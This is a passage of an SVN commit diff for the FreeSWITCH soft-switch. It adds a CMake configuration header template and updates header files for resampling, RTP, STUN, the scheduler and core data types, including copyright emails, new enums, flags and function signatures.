+/* libodbc */
+#cmakedefine HAVE_ODBC
+
+/* Define to 1 if you have the `pselect' function. */
+#cmakedefine HAVE_PSELECT
+
+/* RLIMIT_MEMLOCK constant for setrlimit */
+#cmakedefine HAVE_RLIMIT_MEMLOCK
+
+/* Define to 1 if you have the <sched.h> header file. */
+#cmakedefine HAVE_SCHED_H
+
+/* SCHED_RR constant for sched_setscheduler */
+#cmakedefine HAVE_SCHED_RR
+
+/* Define to 1 if you have the `sched_setscheduler' function. */
+#cmakedefine HAVE_SCHED_SETSCHEDULER
+
+/* Define to 1 if you have the `setenv' function. */
+#cmakedefine HAVE_SETENV
+
+/* Define to 1 if you have the `setgroups' function. */
+#cmakedefine HAVE_SETGROUPS
+
+/* Define to 1 if you have the `setpriority' function. */
+#cmakedefine HAVE_SETPRIORITY
+
+/* Define to 1 if you have the `setrlimit' function. */
+#cmakedefine HAVE_SETRLIMIT
+
+/* Define to 1 if you have the <stdint.h> header file. */
+#cmakedefine HAVE_STDINT_H
+
+/* Define to 1 if you have the <stdlib.h> header file. */
+#cmakedefine HAVE_STDLIB_H
+
+/* Define to 1 if you have the `strcasecmp' function. */
+#cmakedefine HAVE_STRCASECMP
+
+/* Define to 1 if you have the `strftime' function. */
+#cmakedefine HAVE_STRFTIME
+
+/* Define to 1 if you have the `stricmp' function. */
+#cmakedefine HAVE_STRICMP
+
+/* Define to 1 if you have the <strings.h> header file. */
+#cmakedefine HAVE_STRINGS_H
+
+/* Define to 1 if you have the <string.h> header file. */
+#cmakedefine HAVE_STRING_H
+
+/* Define to 1 if you have the <sys/dir.h> header file, and it defines `DIR'.
+   */
+#cmakedefine HAVE_SYS_DIR_H
+
+/* Define to 1 if you have the <sys/filio.h> header file. */
+#cmakedefine HAVE_SYS_FILIO_H
+
+/* Define to 1 if you have the <sys/ioctl.h> header file. */
+#cmakedefine HAVE_SYS_IOCTL_H
+
+/* Define to 1 if you have the <sys/ndir.h> header file, and it defines `DIR'.
+   */
+#cmakedefine HAVE_SYS_NDIR_H
+
+/* Define to 1 if you have the <sys/resource.h> header file. */
+#cmakedefine HAVE_SYS_RESOURCE_H
+
+/* Define to 1 if you have the <sys/stat.h> header file. */
+#cmakedefine HAVE_SYS_STAT_H
+
+/* Define to 1 if you have the <sys/types.h> header file. */
+#cmakedefine HAVE_SYS_TYPES_H
+
+/* Define to 1 if you have the <unistd.h> header file. */
+#cmakedefine HAVE_UNISTD_H
+
+/* Define to 1 if you have the `usleep' function. */
+#cmakedefine HAVE_USLEEP
+
+/* Define to 1 if you have the `vasprintf' function. */
+#cmakedefine HAVE_VASPRINTF
+
+/* Define to 1 if you have the <wchar.h> header file. */
+#cmakedefine HAVE_WCHAR_H
+
+/* Define to 1 if you have the `wcsncmp' function. */
+#cmakedefine HAVE_WCSNCMP
+
+/* Define to 1 if you have the `_stricmp' function. */
+#cmakedefine HAVE__STRICMP
+
+/* Define if you have Java */
+#cmakedefine HasJava
+
+/* Defined if libcurl supports AsynchDNS */
+#cmakedefine LIBCURL_FEATURE_ASYNCHDNS
+
+/* Defined if libcurl supports IDN */
+#cmakedefine LIBCURL_FEATURE_IDN
+
+/* Defined if libcurl supports IPv6 */
+#cmakedefine LIBCURL_FEATURE_IPV6
+
+/* Defined if libcurl supports KRB4 */
+#cmakedefine LIBCURL_FEATURE_KRB4
+
+/* Defined if libcurl supports libz */
+#cmakedefine LIBCURL_FEATURE_LIBZ
+
+/* Defined if libcurl supports NTLM */
+#cmakedefine LIBCURL_FEATURE_NTLM
+
+/* Defined if libcurl supports SSL */
+#cmakedefine LIBCURL_FEATURE_SSL
+
+/* Defined if libcurl supports SSPI */
+#cmakedefine LIBCURL_FEATURE_SSPI
+
+/* Defined if libcurl supports DICT */
+#cmakedefine LIBCURL_PROTOCOL_DICT
+
+/* Defined if libcurl supports FILE */
+#cmakedefine LIBCURL_PROTOCOL_FILE
+
+/* Defined if libcurl supports FTP */
+#cmakedefine LIBCURL_PROTOCOL_FTP
+
+/* Defined if libcurl supports FTPS */
+#cmakedefine LIBCURL_PROTOCOL_FTPS
+
+/* Defined if libcurl supports HTTP */
+#cmakedefine LIBCURL_PROTOCOL_HTTP
+
+/* Defined if libcurl supports HTTPS */
+#cmakedefine LIBCURL_PROTOCOL_HTTPS
+
+/* Defined if libcurl supports LDAP */
+#cmakedefine LIBCURL_PROTOCOL_LDAP
+
+/* Defined if libcurl supports TELNET */
+#cmakedefine LIBCURL_PROTOCOL_TELNET
+
+/* Defined if libcurl supports TFTP */
+#cmakedefine LIBCURL_PROTOCOL_TFTP
+
+/* Define to 1 if your C compiler doesn't accept -c and -o together. */
+#cmakedefine NO_MINUS_C_MINUS_O
+
+/* Enable Optimization. */
+#cmakedefine OPTIMZER
+
+/* Name of package */
+#cmakedefine PACKAGE
+
+/* Define to the address where bug reports for this package should be sent. */
+#cmakedefine PACKAGE_BUGREPORT
+
+/* Define to the full name of this package. */
+#cmakedefine PACKAGE_NAME
+
+/* Define to the full name and version of this package. */
+#cmakedefine PACKAGE_STRING
+
+/* Define to the one symbol short name of this package. */
+#cmakedefine PACKAGE_TARNAME
+
+/* Define to the version of this package. */
+#cmakedefine PACKAGE_VERSION
+
+/* Define as the return type of signal handlers (`int' or `void'). */
+#cmakedefine RETSIGTYPE
+
+/* The size of `char', as computed by sizeof. */
+#cmakedefine SIZEOF_CHAR
+
+/* The size of `int', as computed by sizeof. */
+#cmakedefine SIZEOF_INT
+
+/* The size of `long', as computed by sizeof. */
+#cmakedefine SIZEOF_LONG
+
+/* The size of `long long', as computed by sizeof. */
+#cmakedefine SIZEOF_LONG_LONG
+
+/* The size of `short', as computed by sizeof. */
+#cmakedefine SIZEOF_SHORT
+
+/* The size of size_t */
+#cmakedefine SIZEOF_SIZE_T
+
+/* The size of ssize_t */
+#cmakedefine SIZEOF_SSIZE_T
+
+/* The size of `void*', as computed by sizeof. */
+#cmakedefine SIZEOF_VOIDP
+
+/* Define to 1 if you have the ANSI C header files. */
+#cmakedefine STDC_HEADERS
+
+/* Little Endian */
+#cmakedefine SWITCH_BYTE_ORDER
+
+/* directory for configuration files */
+#cmakedefine SWITCH_CONF_DIR
+
+/* where to install the modules to */
+#cmakedefine SWITCH_MOD_DIR
+
+/* Define to 1 if you can safely include both <sys/time.h> and <time.h>. */
+#cmakedefine TIME_WITH_SYS_TIME
+
+/* Define to 1 if your <sys/time.h> declares `struct tm'. */
+#cmakedefine TM_IN_SYS_TIME
+
+/* Enable mlockall support */
+#cmakedefine USE_MLOCKALL
+
+/* Enable round-robin scheduler using sched_setscheduler */
+#cmakedefine USE_SCHED_SETSCHEDULER
+
+/* Use setrlimit to disable mlock limit for non-root users */
+#cmakedefine USE_SETRLIMIT
+
+/* Version number of package */
+#cmakedefine VERSION
+
+/* Define to empty if `const' does not conform to ANSI C. */
+#cmakedefine const
+
+/* Define curl_free() as free() if our version of curl lacks curl_free. */
+#cmakedefine curl_free
+
+/* Define to `__inline__' or `__inline' if that's what the C compiler
+   calls it, or to nothing if 'inline' is not supported under any name.  */
+#ifndef __cplusplus
+#cmakedefine inline
+#endif
+
+/* Define to rpl_malloc if the replacement function should be used. */
+#cmakedefine malloc
+
+/* Define to `unsigned int' if <sys/types.h> does not define. */
+#cmakedefine size_t
+
+/* Define to `int' if <sys/types.h> does not define. */
+#cmakedefine ssize_t

Modified: freeswitch/branches/seven/src/include/switch_regex.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_regex.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_regex.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *

Modified: freeswitch/branches/seven/src/include/switch_resample.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_resample.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_resample.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_caller.h -- Caller Identification
@@ -38,11 +38,11 @@
 	way comes along some day. =D
 	
 */
-#define switch_normalize_volume(x) if(x > 4) x = 4; if (x < -4) x = -4;
+#define switch_normalize_volume(x) if (x > 4) x = 4; if (x < -4) x = -4;
 
 #ifndef SWITCH_RESAMPLE_H
 #define SWITCH_RESAMPLE_H
-
+#define SWITCH_RESAMPLE_QUALITY 2
 #include <switch.h>
 SWITCH_BEGIN_EXTERN_C
 /*!
@@ -51,7 +51,7 @@
   \{ 
 */
 /*! \brief An audio resampling handle */
-	typedef struct {
+typedef struct {
 	/*! a pointer to store the resampler object */
 	void *resampler;
 	/*! the rate to resample from in hz */
@@ -61,33 +61,31 @@
 	/*! the factor to resample by (from / to) */
 	double factor;
 	double rfactor;
-	/*! a pointer to store a float buffer for data to be resampled */
-	float *from;
-	/*! the size of the from buffer used */
-	int from_len;
-	/*! the total size of the from buffer */
-	switch_size_t from_size;
-	/*! a pointer to store a float buffer for resampled data */
-	float *to;
-	/*! the size of the to buffer used */
-	uint32_t to_len;
-	/*! the total size of the to buffer */
-	uint32_t to_size;
+    int16_t *to;
+    /*! the size of the to buffer used */
+    uint32_t to_len;
+    /*! the total size of the to buffer */
+    uint32_t to_size;
+
 } switch_audio_resampler_t;
 
 /*!
   \brief Prepare a new resampler handle
   \param new_resampler NULL pointer to aim at the new handle
   \param from_rate the rate to transfer from in hz
-  \param from_size the size of the buffer to allocate for the from data
   \param to_rate the rate to transfer to in hz
-  \param to_size the size of the buffer to allocate for the to data
-  \param pool the memory pool to use for buffer allocation
+  \param quality the quality desired
   \return SWITCH_STATUS_SUCCESS if the handle was created
  */
-SWITCH_DECLARE(switch_status_t) switch_resample_create(switch_audio_resampler_t **new_resampler,
-													   int from_rate, switch_size_t from_size, int to_rate, uint32_t to_size, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_resample_perform_create(switch_audio_resampler_t **new_resampler,
+															   uint32_t from_rate, uint32_t to_rate, uint32_t to_size,
+															   int quality,
+															   uint32_t channels,
+															   const char *file, const char *func, int line);
 
+
+#define switch_resample_create(_n, _fr, _tr, _ts, _q, _c) switch_resample_perform_create(_n, _fr, _tr, _ts, _q, _c, __FILE__, __SWITCH_FUNC__, __LINE__)
+
 /*!
   \brief Destroy an existing resampler handle
   \param resampler the resampler handle to destroy
@@ -99,13 +97,11 @@
   \param resampler the resample handle
   \param src the source data
   \param srclen the length of the source data
-  \param dst the destination data
-  \param dstlen the length of the destination data
-  \param last parameter denoting the last sample is being resampled
   \return the used size of dst
  */
-SWITCH_DECLARE(uint32_t) switch_resample_process(switch_audio_resampler_t *resampler, float *src, int srclen, float *dst, uint32_t dstlen, int last);
+SWITCH_DECLARE(uint32_t) switch_resample_process(switch_audio_resampler_t *resampler, int16_t *src, uint32_t srclen);
 
+
 /*!
   \brief Convert an array of floats to an array of shorts
   \param f the float buffer
@@ -168,7 +164,7 @@
 
 SWITCH_DECLARE(uint32_t) switch_merge_sln(int16_t *data, uint32_t samples, int16_t *other_data, uint32_t other_samples);
 
-SWITCH_DECLARE(void) switch_mux_channels(int16_t *data, uint32_t samples, uint32_t channels);
+SWITCH_DECLARE(void) switch_mux_channels(int16_t *data, switch_size_t samples, uint32_t channels);
 
 SWITCH_END_EXTERN_C
 #endif

Modified: freeswitch/branches/seven/src/include/switch_rtp.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_rtp.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_rtp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_channel.h -- Media Channel Interface
@@ -45,7 +45,8 @@
 #define SWITCH_RTP_KEY_LEN 30
 #define SWITCH_RTP_CRYPTO_KEY_32 "AES_CM_128_HMAC_SHA1_32"
 #define SWITCH_RTP_CRYPTO_KEY_80 "AES_CM_128_HMAC_SHA1_80"
-	typedef enum {
+
+typedef enum {
 	SWITCH_RTP_CRYPTO_SEND,
 	SWITCH_RTP_CRYPTO_RECV,
 	SWITCH_RTP_CRYPTO_MAX
@@ -351,7 +352,7 @@
 */
 SWITCH_DECLARE(switch_status_t) switch_rtp_zerocopy_read_frame(switch_rtp_t *rtp_session, switch_frame_t *frame, switch_io_flag_t io_flags);
 
-SWITCH_DECLARE(void) rtp_flush_read_buffer(switch_rtp_t *rtp_session);
+SWITCH_DECLARE(void) rtp_flush_read_buffer(switch_rtp_t *rtp_session, switch_rtp_flush_t flush);
 
 /*!
   \brief Enable VAD on an RTP Session
@@ -433,6 +434,8 @@
 
 SWITCH_DECLARE(void) switch_rtp_intentional_bugs(switch_rtp_t *rtp_session, switch_rtp_bug_flag_t bugs);
 
+SWITCH_DECLARE(switch_rtp_stats_t *) switch_rtp_get_stats(switch_rtp_t *rtp_session, switch_memory_pool_t *pool);
+
 /*!
   \}
 */

Modified: freeswitch/branches/seven/src/include/switch_scheduler.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_scheduler.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_scheduler.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_scheduler.h -- Scheduler Engine

Modified: freeswitch/branches/seven/src/include/switch_stun.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_stun.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_stun.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_stun.h STUN (Simple Traversal of UDP over NAT)
@@ -41,7 +41,8 @@
 #define SWITCH_STUN_DEFAULT_PORT 3478
 #define SWITCH_STUN_PACKET_MIN_LEN 20
 #define SWITCH_STUN_ATTRIBUTE_MIN_LEN 8
-	typedef enum {
+
+typedef enum {
 	SWITCH_STUN_BINDING_REQUEST = 0x0001,
 	SWITCH_STUN_BINDING_RESPONSE = 0x0101,
 	SWITCH_STUN_BINDING_ERROR_RESPONSE = 0x0111,

Modified: freeswitch/branches/seven/src/include/switch_types.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_types.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_types.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Bret McDanel <trixter AT 0xdecafbad dot com>
  *
  * switch_types.h -- Data Types
@@ -110,6 +110,8 @@
 #define SWITCH_PATH_SEPARATOR "/"
 #endif
 #define SWITCH_URL_SEPARATOR "://"
+#define SWITCH_BRIDGE_HANGUP_CAUSE_VARIABLE "bridge_hangup_cause"
+#define SWITCH_READ_TERMINATOR_USED_VARIABLE "read_terminator_used"
 #define SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE "send_silence_when_idle"
 #define SWITCH_CURRENT_APPLICATION_VARIABLE "current_application"
 #define SWITCH_CURRENT_APPLICATION_DATA_VARIABLE "current_application_data"
@@ -149,6 +151,7 @@
 #define SWITCH_SIGNAL_BOND_VARIABLE "signal_bond"
 #define SWITCH_ORIGINATOR_VARIABLE "originator"
 #define SWITCH_ORIGINATOR_CODEC_VARIABLE "originator_codec"
+#define SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE "originator_video_codec"
 #define SWITCH_LOCAL_MEDIA_IP_VARIABLE "local_media_ip"
 #define SWITCH_LOCAL_MEDIA_PORT_VARIABLE "local_media_port"
 #define SWITCH_REMOTE_MEDIA_IP_VARIABLE "remote_media_ip"
@@ -159,6 +162,7 @@
 #define SWITCH_LOCAL_VIDEO_PORT_VARIABLE "local_video_port"
 #define SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE "hangup_after_bridge"
 #define SWITCH_PARK_AFTER_BRIDGE_VARIABLE "park_after_bridge"
+#define SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE "transfer_after_bridge"
 #define SWITCH_EXEC_AFTER_BRIDGE_APP_VARIABLE "exec_after_bridge_app"
 #define SWITCH_EXEC_AFTER_BRIDGE_ARG_VARIABLE "exec_after_bridge_arg"
 #define SWITCH_MAX_FORWARDS_VARIABLE "max_forwards"
@@ -167,6 +171,7 @@
 #define SWITCH_UUID_BRIDGE "uuid_bridge"
 #define SWITCH_BITS_PER_BYTE 8
 #define SWITCH_DEFAULT_FILE_BUFFER_LEN 65536
+#define SWITCH_DTMF_LOG_LEN 1000
 
 typedef uint8_t switch_byte_t;
 
@@ -176,6 +181,11 @@
 } switch_dtmf_t;
 
 typedef enum {
+	SWITCH_CALL_DIRECTION_INBOUND,
+	SWITCH_CALL_DIRECTION_OUTBOUND
+} switch_call_direction_t;
+
+typedef enum {
 	SBF_DIAL_ALEG = (1 << 0),
 	SBF_EXEC_ALEG = (1 << 1),
 	SBF_DIAL_BLEG = (1 << 2),
@@ -222,7 +232,8 @@
 	SCF_CRASH_PROT = (1 << 3),
 	SCF_VG = (1 << 4),
 	SCF_RESTART = (1 << 5),
-	SCF_SHUTDOWN_REQUESTED = (1 << 6)
+	SCF_SHUTDOWN_REQUESTED = (1 << 6),
+	SCF_USE_AUTO_NAT = (1 << 7)
 } switch_core_flag_enum_t;
 typedef uint32_t switch_core_flag_t;
 
@@ -280,7 +291,8 @@
 	SST_POSTAL_ADDRESS,
 	SST_ACCOUNT_NUMBER,
 	SST_NAME_SPELLED,
-	SST_NAME_PHONETIC
+	SST_NAME_PHONETIC,
+	SST_SHORT_DATE_TIME
 } switch_say_type_t;
 
 typedef enum {
@@ -373,6 +385,7 @@
 #define SWITCH_ACCEPTABLE_INTERVAL(_i) (_i && _i <= SWITCH_MAX_INTERVAL && (_i % 10) == 0)
 
 typedef enum {
+	SWITCH_CPF_NONE = 0,
 	SWITCH_CPF_SCREEN = (1 << 0),
 	SWITCH_CPF_HIDE_NAME = (1 << 1),
 	SWITCH_CPF_HIDE_NUMBER = (1 << 2)
@@ -393,7 +406,10 @@
 	SWITCH_XML_SECTION_CONFIG = (1 << 0),
 	SWITCH_XML_SECTION_DIRECTORY = (1 << 1),
 	SWITCH_XML_SECTION_DIALPLAN = (1 << 2),
-	SWITCH_XML_SECTION_PHRASES = (1 << 3)
+	SWITCH_XML_SECTION_PHRASES = (1 << 3),
+	
+	/* Nothing after this line */
+	SWITCH_XML_SECTION_MAX = (1 << 4)
 } switch_xml_section_enum_t;
 typedef uint32_t switch_xml_section_t;
 
@@ -415,6 +431,29 @@
 } switch_vad_flag_enum_t;
 typedef uint32_t switch_vad_flag_t;
 
+typedef struct {
+	switch_size_t raw_bytes;
+	switch_size_t media_bytes;
+	switch_size_t packet_count;
+	switch_size_t media_packet_count;
+	switch_size_t skip_packet_count;
+	switch_size_t jb_packet_count;
+	switch_size_t dtmf_packet_count;
+	switch_size_t cng_packet_count;
+	switch_size_t flush_packet_count;
+} switch_rtp_numbers_t;
+
+typedef struct {
+	switch_rtp_numbers_t inbound;
+	switch_rtp_numbers_t outbound;
+} switch_rtp_stats_t;
+
+typedef enum {
+	SWITCH_RTP_FLUSH_ONCE,
+	SWITCH_RTP_FLUSH_STICK,
+	SWITCH_RTP_FLUSH_UNSTICK
+} switch_rtp_flush_t;
+
 #define SWITCH_RTP_CNG_PAYLOAD 13
 
 /*!
@@ -435,7 +474,7 @@
 	SWITCH_RTP_FLAG_DATAWAIT	  - Do not return from reads unless there is data even when non blocking
 	SWITCH_RTP_FLAG_BUGGY_2833    - Emulate the bug in cisco equipment to allow interop
 	SWITCH_RTP_FLAG_PASS_RFC2833  - Pass 2833 (ignore it)
-	SWITCH_RTP_FLAG_AUTO_CNG      - Generate outbound CNG frames when idle
+	SWITCH_RTP_FLAG_AUTO_CNG      - Generate outbound CNG frames when idle    
 </pre>
  */
 typedef enum {
@@ -459,7 +498,13 @@
 	SWITCH_RTP_FLAG_SECURE_RECV_RESET = (1 << 17),
 	SWITCH_RTP_FLAG_PROXY_MEDIA = (1 << 18),
 	SWITCH_RTP_FLAG_SHUTDOWN = (1 << 19),
-	SWITCH_RTP_FLAG_FLUSH = (1 << 20)
+	SWITCH_RTP_FLAG_FLUSH = (1 << 20),
+	SWITCH_RTP_FLAG_AUTOFLUSH = (1 << 21),
+	SWITCH_RTP_FLAG_STICKY_FLUSH = (1 << 22),
+	SWITCH_ZRTP_FLAG_SECURE_SEND = (1 << 23),
+	SWITCH_ZRTP_FLAG_SECURE_RECV = (1 << 24),
+	SWITCH_ZRTP_FLAG_SECURE_MITM_SEND = (1 << 25),
+	SWITCH_ZRTP_FLAG_SECURE_MITM_RECV = (1 << 26)
 } switch_rtp_flag_enum_t;
 typedef uint32_t switch_rtp_flag_t;
 
@@ -745,18 +790,19 @@
   \enum switch_channel_state_t
   \brief Channel States (these are the defaults, CS_SOFT_EXECUTE, CS_EXCHANGE_MEDIA, and CS_CONSUME_MEDIA are often overridden by specific apps)
 <pre>
-CS_NEW       - Channel is newly created 
-CS_INIT      - Channel has been initilized
-CS_ROUTING   - Channel is looking for an extension to execute
-CS_SOFT_EXECUTE  - Channel is ready to execute from 3rd party control
-CS_EXECUTE   - Channel is executing it's dialplan 
+CS_NEW       - Channel is newly created.
+CS_INIT      - Channel has been initilized.
+CS_ROUTING   - Channel is looking for an extension to execute.
+CS_SOFT_EXECUTE  - Channel is ready to execute from 3rd party control.
+CS_EXECUTE   - Channel is executing it's dialplan.
 CS_EXCHANGE_MEDIA  - Channel is exchanging media with another channel.
 CS_PARK      - Channel is accepting media awaiting commands.
 CS_CONSUME_MEDIA		 - Channel is consuming all media and dropping it.
-CS_HIBERNATE - Channel is in a sleep state
-CS_RESET 	 - Channel is in a reset state
-CS_HANGUP    - Channel is flagged for hangup and ready to end
-CS_DONE      - Channel is ready to be destroyed and out of the state machine
+CS_HIBERNATE - Channel is in a sleep state.
+CS_RESET 	 - Channel is in a reset state.
+CS_HANGUP    - Channel is flagged for hangup and ready to end.
+CS_REPORTING - Channel is ready to collect call detail.
+CS_DESTROY      - Channel is ready to be destroyed and out of the state machine
 </pre>
  */
 typedef enum {
@@ -771,7 +817,8 @@
 	CS_HIBERNATE,
 	CS_RESET,
 	CS_HANGUP,
-	CS_DONE,
+	CS_REPORTING,
+	CS_DESTROY,
 	CS_NONE
 } switch_channel_state_t;
 
@@ -841,7 +888,13 @@
 	CF_INNER_BRIDGE,
 	CF_REQ_MEDIA,
 	CF_VERBOSE_EVENTS,
-
+	CF_PAUSE_BUGS,
+	CF_DIVERT_EVENTS,
+	CF_BLOCK_STATE,
+	CF_FS_RTP,
+	CF_REPORTING,
+	CF_PARK,
+	CF_TIMESTAMP_SET,
 	/* WARNING: DO NOT ADD ANY FLAGS BELOW THIS LINE */
 	CF_FLAG_MAX
 } switch_channel_flag_t;
@@ -862,6 +915,7 @@
 SFF_RTP_HEADER = (1 << 2)  - Get the rtp header from the frame header
 SFF_PLC        = (1 << 3)  - Frame has generated PLC data
 SFF_RFC2833    = (1 << 4)  - Frame has rfc2833 dtmf data
+SFF_DYNAMIC    = (1 << 5)  - Frame is dynamic and should be freed
 </pre>
  */
 typedef enum {
@@ -871,7 +925,9 @@
 	SFF_RTP_HEADER = (1 << 2),
 	SFF_PLC = (1 << 3),
 	SFF_RFC2833 = (1 << 4),
-	SFF_PROXY_PACKET = (1 << 5)
+	SFF_PROXY_PACKET = (1 << 5),
+	SFF_DYNAMIC = (1 << 6),
+	SFF_ZRTP = (1 << 7)
 } switch_frame_flag_enum_t;
 typedef uint32_t switch_frame_flag_t;
 
@@ -920,7 +976,8 @@
 	SWITCH_CODEC_FLAG_SILENCE = (1 << 4),
 	SWITCH_CODEC_FLAG_FREE_POOL = (1 << 5),
 	SWITCH_CODEC_FLAG_AAL2 = (1 << 6),
-	SWITCH_CODEC_FLAG_PASSTHROUGH = (1 << 7)
+	SWITCH_CODEC_FLAG_PASSTHROUGH = (1 << 7),
+	SWITCH_CODEC_FLAG_READY = (1 << 8)
 } switch_codec_flag_enum_t;
 typedef uint32_t switch_codec_flag_t;
 
@@ -942,7 +999,9 @@
 	SWITCH_SPEECH_FLAG_PEEK = (1 << 1),
 	SWITCH_SPEECH_FLAG_FREE_POOL = (1 << 2),
 	SWITCH_SPEECH_FLAG_BLOCKING = (1 << 3),
-	SWITCH_SPEECH_FLAG_PAUSE = (1 << 4)
+	SWITCH_SPEECH_FLAG_PAUSE = (1 << 4),
+	SWITCH_SPEECH_FLAG_OPEN = (1 << 5),
+	SWITCH_SPEECH_FLAG_DONE = (1 << 6)
 } switch_speech_flag_enum_t;
 typedef uint32_t switch_speech_flag_t;
 
@@ -1143,17 +1202,20 @@
 	SWITCH_EVENT_NOTIFY				- Notification
 	SWITCH_EVENT_SEND_MESSAGE		- Message
 	SWITCH_EVENT_RECV_MESSAGE		- Message
+  SWITCH_EVENT_NAT            - NAT Management (new/del/status)
     SWITCH_EVENT_ALL				- All events at once
 </pre>
 
  */
 typedef enum {
 	SWITCH_EVENT_CUSTOM,
+	SWITCH_EVENT_CLONE,
 	SWITCH_EVENT_CHANNEL_CREATE,
 	SWITCH_EVENT_CHANNEL_DESTROY,
 	SWITCH_EVENT_CHANNEL_STATE,
 	SWITCH_EVENT_CHANNEL_ANSWER,
 	SWITCH_EVENT_CHANNEL_HANGUP,
+	SWITCH_EVENT_CHANNEL_HANGUP_COMPLETE,
 	SWITCH_EVENT_CHANNEL_EXECUTE,
 	SWITCH_EVENT_CHANNEL_EXECUTE_COMPLETE,
 	SWITCH_EVENT_CHANNEL_BRIDGE,
@@ -1208,6 +1270,12 @@
 	SWITCH_EVENT_GENERAL,
 	SWITCH_EVENT_COMMAND,
 	SWITCH_EVENT_SESSION_HEARTBEAT,
+	SWITCH_EVENT_CLIENT_DISCONNECTED,
+	SWITCH_EVENT_SERVER_DISCONNECTED,
